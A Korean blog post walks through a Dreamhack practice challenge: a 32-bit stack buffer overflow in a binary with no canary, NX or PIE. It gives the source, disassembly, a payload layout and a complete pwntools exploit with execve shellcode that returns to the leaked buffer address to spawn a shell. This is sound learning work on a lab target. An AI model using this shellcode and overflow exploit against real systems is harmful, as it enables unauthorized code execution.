중간고사가 끝나고 오랜만에 드림핵에 들어갔더니
System Hacking - Stack Buffer Overflow - basic_exploitation_000
못보던 문제가 보여서 풀어볼까 한다. 간단하니 빠르게 풀어보자.
Ubuntu 16.04
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
실습 서버의 리눅스 버전과 바이너리 파일의 정보는 위와 같다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
제공된 소스코드는 다음과 같다.
해당 바이너리 파일을 실행하면
0x80 크기의 배열을 선언하고 buf의 위치를 출력해준다.
이후 141byte 만큼 입력을 받는다.
Dump of assembler code for function main:
0x080485d9 <+0>: push ebp
0x080485da <+1>: mov ebp,esp
0x080485dc <+3>: add esp,0xffffff80
0x080485df <+6>: call 0x8048592 <initialize>
0x080485e4 <+11>: lea eax,[ebp-0x80]
0x080485e7 <+14>: push eax
0x080485e8 <+15>: push 0x8048699
0x080485ed <+20>: call 0x80483f0 <printf@plt>
0x080485f2 <+25>: add esp,0x8
0x080485f5 <+28>: lea eax,[ebp-0x80]
0x080485f8 <+31>: push eax
0x080485f9 <+32>: push 0x80486a5
0x080485fe <+37>: call 0x8048460 <__isoc99_scanf@plt>
0x08048603 <+42>: add esp,0x8
0x08048606 <+45>: mov eax,0x0
0x0804860b <+50>: leave
0x0804860c <+51>: ret
End of assembler dump.
main함수의 디스어셈블 결과는 위와 같다.
printf의 인자로 "buf = (%p)\n" 문자열이 위치 0x8048699와 buf의 위치인 ebp-0x80의 주소를 넘긴다.
이후 scanf의 인자로 "%141s" 문자열의 주소와 buf의 위치인 ebp-0x80의 주소를 넘긴다.
scanf함수 호출이후 스택을 정리하고 함수 에필로그로 진입한다.
buf의 크기는 0x80 즉, 128바이트이다.
입력을 141바이트만큼 입력을 받기 때문에 13바이트 크기의 오버플로우가 가능하다.
전체적인 메모리 구조를 그려보면 아래와 같다.
buf의 주소는 printf함수로 출력해주기 때문에 따로 구할 필요가 없고
셸코드의 경우 인터넷에서 쉽게 찾을 수 있는 scanf우회 셸코드를 사용한다.
따라서 익스플로잇 코드의 구조는 다음과 같을 것이다.
nop[102byte] + ShellCode[26 byte] + sfp[4 byte] + ret[4 byte]
이때 sfp에는 의미 없는 값을 채우고 ret에는 buf의 주소를 넣는다.
from pwn import *
p = remote('host3.dreamhack.games', 13131)
p.recvuntil('(') # buf의 주소 출력전 ( 까지만 받아옴
buf = int(p.recv(10), 16) # 이후 buf의 주소만큼 buf에 받아온다.
payload = b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
payload += b'\x90' * 102 # 102만큼 nop로 채운다.
payload += b'\x90' * 4 # sfp를 의미 없는 값으로 채움
payload += p32(buf) # ret에 buf의 주소를 입력
p.sendline(payload)
p.interactive()
이러한 구조로 익스플로잇 코드를 작성한 뒤 익스플로잇 코드를 작동시키면 다음과 같이 셸을 획득함을 볼 수 있다.
끝!
'보안 > 시스템 해킹' 카테고리의 다른 글
Off - By - One (0) | 2023.11.28 |
---|---|
DreamHack - basic_exploitation_001 (0) | 2023.10.22 |
[PlaidCTF] ropasaurusrex 문제 풀이 (0) | 2023.10.12 |
ShellCode - Egg Shell.part2 (1) | 2023.10.03 |
ShellCode - Egg Shell.part1 (0) | 2023.10.03 |